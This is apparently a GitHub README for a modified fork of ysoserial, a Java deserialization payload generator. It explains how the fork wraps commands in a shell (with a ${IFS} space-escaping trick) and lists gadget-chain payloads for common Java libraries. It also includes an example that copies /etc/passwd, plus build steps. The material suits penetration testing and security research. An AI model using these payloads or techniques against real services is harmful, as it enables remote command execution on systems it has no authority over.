Thats a fork of the original ysoserial application that can be found here: https://github.com/frohoff/ysoserial

Due how Runtime.getRuntime().exec(String.class) works in java, nested and complex commands where you'll need control pipes or send the output to files (ex: cat /etc/passwd > /tmp/passwd_copy) will not work because the command executed by the exec() method from the Runtime class isn't executed inside of a terminal environment. One possible hack is execute "/bin/sh -c 'command'" but you'll need escape the space charater on the 'command' using ${IFS} or it will not work as expected. For more details about that problem and possible workaround please read this blopost that will go deep on the details.

A good solution to fix that problem is pass the arguments to the method Runtime.getRuntime().exec(String[].class) that expects an array of Strings. The best option is execute the following: Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", "command"}). Passing the arguments that way, java will understand that you're executing the /bin/bash passing the arguments -c and 'command' on the correct way and will execute your command inside of an terminal environment, what will allow you use nested or complex commands (with | or ;) and also control inputs and outputs (with < and >).

Knowing that I added a functionality to ysoserial where you give the type of the terminal that you want use to execute your command (cmd / bash / powershell or none) and my modification will execute your command inside of that terminal context allowing you to execute any complex command as it should work!

pimps@Scorpion:~/git/ysoserial-modified/target$ java -jar ysoserial-modified.jar 
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'
   ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'
	Available payload types:
		BeanShell1 [org.beanshell:bsh:2.0b5]
		C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11]
		CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
		CommonsCollections1 [commons-collections:commons-collections:3.1]
		CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
		CommonsCollections3 [commons-collections:commons-collections:3.1]
		CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
		CommonsCollections5 [commons-collections:commons-collections:3.1]
		CommonsCollections6 [commons-collections:commons-collections:3.1]
		FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4]
		Groovy1 [org.codehaus.groovy:groovy:2.3.9]
		Hibernate1 []
...

Download the compiled jar from the /target directory on this repository or just click here

To compile it by yourself:

Require Java 1.7+ and Maven 3.x+

$ git clone https://github.com/pimps/ysoserial-modified.git
$ cd ysoserial-modified
$ mvn clean package -DskipTests

The jar file will be located on the target directory